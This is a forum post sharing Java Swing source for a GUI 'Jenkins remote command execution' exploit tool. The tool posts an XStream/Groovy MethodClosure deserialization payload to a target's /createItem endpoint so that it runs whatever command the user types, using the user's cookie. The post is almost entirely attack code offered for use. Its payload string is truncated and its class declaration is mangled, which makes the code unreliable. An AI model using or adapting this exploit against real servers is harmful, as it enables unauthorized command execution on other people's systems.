gacvd 发表于 2018-1-7 19:37:13

jenkins远程命令执行利用工具

package com.tools;  

  
import java.awt.Component;
  
import java.awt.Container;
  
import java.awt.Dimension;
  
import java.awt.FlowLayout;
  
import java.awt.Label;
  
import java.awt.LayoutManager;
  
import java.awt.event.ActionEvent;
  
import java.awt.event.ActionListener;
  
import java.io.IOException;
  
import java.net.CookieHandler;
  

  
import javax.swing.JButton;
  
import javax.swing.JFrame;
  
import javax.swing.JOptionPane;
  
import javax.swing.JPanel;
  
import javax.swing.JTextArea;
  
import javax.swing.JTextField;
  
import javax.xml.soap.Text;
  

  
//jenkins
  


  
public>  
private Label inputLabel;
  
private JTextField text;
  
private JButton button;
  
private JTextField command;
  
private JTextField cmdcontent;
  
private JTextField cookie;
  
private JPanel jp;
  
private JTextArea area;
  

  
public void init() {
  
Container cp = this.getContentPane();
  
inputLabel = new Label("please input url:");
  
cp.add(inputLabel);
  
text = new JTextField("http://www.sufont.com/", 20);
  
cp.add(text);
  
button = new JButton("OK");
  
cp.add(button);
  
command = new JTextField("输入要执行的命令,例如:touch", 25);
  
cmdcontent = new JTextField("执行命令的内容,例如:/tmp/qingteng-test-1", 25);
  
cookie=new JTextField("cookie", 25);
  

  
area=new JTextArea(20, 25);
  

  
cp.add(cookie);
  
cp.add(command);
  
cp.add(cmdcontent);
  
cp.add(area);
  
area.setText("");
  

  
this.setSize(450, 280);
  
this.setVisible(true);
  
this.setTitle("Jenkins远程命令利用工具-By:sevck");
  
this.setLayout(new FlowLayout(2, 2, 2));
  
this.setDefaultCloseOperation(3);
  
this.setLocationRelativeTo(null);
  
this.setResizable(false);
  
}
  

  
public SQL() {
  
init();
  
button.addActionListener(new ActionListener() {
  

  
@Override
  
public void actionPerformed(ActionEvent e) {
  
// TODO Auto-generated method stub
  
String url = text.getText();// get url content
  
if (url.contains("http://")) {
  

  
if (url.equalsIgnoreCase("http://")) {
  
JOptionPane.showMessageDialog(null, "url is null");
  
} else {
  
HttpRequest con = new HttpRequest();

  
String content = con.sendPost(url+ "/createItem?name=qt-sec", "<map><entry><groovy.util.Expando><expandoProperties> <entry><string>hashCode</string><org.codehaus.groovy.runtime.MethodClosure><delegate>  
JOptionPane.showMessageDialog(null, "命令执行完毕2!");
  
System.out.println(content);
  
area.setText("result:\r\n"+content);
  
// try {
  
//
  
// Runtime.getRuntime().exec("rundll32 url.dll,FileProtocolHandler "+url);
  
// } catch (IOException e1) {
  
// // TODO Auto-generated catch blocks
  
// e1.printStackTrace();
  
// }
  
}
  
} else {
  
JOptionPane.showMessageDialog(null, "加http://");
  
}
  

  
}
  
});
  
}
  

  
public static void main(String[] args) {
  
// TODO Auto-generated method stub
  
new SQL();
  

  
}
  

  
}
  
页: [1]
查看完整版本: jenkins远程命令执行利用工具